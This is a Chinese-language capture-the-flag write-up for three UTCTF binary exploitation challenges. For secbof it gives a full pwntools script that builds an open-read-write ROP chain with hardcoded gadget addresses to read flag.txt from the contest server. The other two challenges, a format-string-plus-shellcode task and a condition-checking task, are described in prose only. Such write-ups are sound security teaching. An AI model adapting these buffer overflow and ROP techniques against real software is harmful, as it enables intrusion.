UTCTF部分题解
字数 1073 2025-08-29 08:30:06
UTCTF部分题解教学文档
secbof题目解析
题目描述
- 缓冲区溢出漏洞,但带有安全保护
- Flag存储在"./flag.txt"文件中
- 需要构造ORW(open-read-write)链读取并输出flag
保护检查
- 沙盒允许使用open、read、write系统调用
- 题目是静态编译的,所有函数/寄存器地址可直接获取
解题步骤
-
构造open调用:
- 由于没有直接找到open函数地址,需要使用syscall构造
- 需要将"flag.txt"文件名写入bss段(地址:0x4C82C0)
- 使用read函数(地址:0x44F8E0)读取用户输入的"flag.txt"到bss段
-
寄存器设置:
- rdi寄存器设置(地址:0x000000000040204f)
- rsi寄存器设置(地址:0x000000000040a0be)
- rdx/rbx寄存器设置(地址:0x000000000048630b)
- syscall地址:0x000000000041ae16
- rax设置(地址:0x0000000000450507)
-
远程问题解决:
- 远程环境中read函数需要文件描述符fd=5才能正常工作
利用代码
from pwn import *
context(log_level = 'debug', arch = 'amd64')
p = remote('challenge.utctf.live', 5141)
elf = ELF('./secbof')
# 关键地址
bss = 0x4C82C0
read = 0x44F8E0
write = 0x44F980
rdi = 0x000000000040204f
rsi = 0x000000000040a0be
rdx_rbx = 0x000000000048630b
syscall = 0x000000000041ae16
rax = 0x0000000000450507
# 构造payload
payload = b'a'*0x88 # 填充缓冲区
payload += p64(rdi) + p64(0) + p64(rsi) + p64(bss+0x500) + p64(rdx_rbx) + p64(0x100)*2 + p64(read) # 读取flag.txt文件名
payload += p64(rdi) + p64(bss+0x500) + p64(rsi) + p64(0) + p64(rax) + p64(2) + p64(syscall) # open调用
payload += p64(rdi) + p64(5) + p64(rsi) + p64(bss+0x600) + p64(rdx_rbx) + p64(0x100)*2 + p64(read) # 读取flag内容
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss+0x600) + p64(rdx_rbx) + p64(0x100)*2 + p64(write) # 输出flag
p.recvuntil(b"Input> ")
p.send(payload)
p.recvuntil("Flag: ")
p.send(b'flag.txt')
p.interactive()
RETirement Plan题目解析
题目描述
- 无任何保护措施
- 存在gets函数溢出漏洞
- 存在格式化字符串漏洞
解题思路
-
利用格式化字符串漏洞:
- 泄露栈地址,确定shellcode写入位置
- 不能用垃圾数据填充多余空间,会导致程序卡死
- 可以使用bss段地址填充栈
-
执行shellcode:
- 将shellcode写入返回地址后面
- 返回地址+8的位置执行shellcode
- 替代方案:利用gets函数执行后rax寄存器存储栈空间头地址的特性,通过jmp_rax直接跳转到shellcode
Tic Tac Toe题目解析
题目特点
- 代码较长但逻辑简单
- 主要是一系列条件判断
- 通过所有检查后执行execve获取shell
解题方法
- 分析并满足所有条件判断
- 通过检查后直接获取shell
总结
-
secbof:
- 重点在于构造ORW链
- 注意远程环境中read的特殊要求(fd=5)
- 静态编译环境下直接使用已知函数地址
-
RETirement Plan:
- 结合格式化字符串和缓冲区溢出漏洞
- 注意栈空间填充的特殊要求
- 考虑寄存器状态对利用的影响
-
Tic Tac Toe:
- 耐心分析条件判断逻辑
- 满足所有条件后直接获取shell
这些题目展示了不同场景下的漏洞利用技术,从直接的缓冲区溢出到需要构造复杂ROP链的情况,涵盖了CTF比赛中常见的几种漏洞利用方式。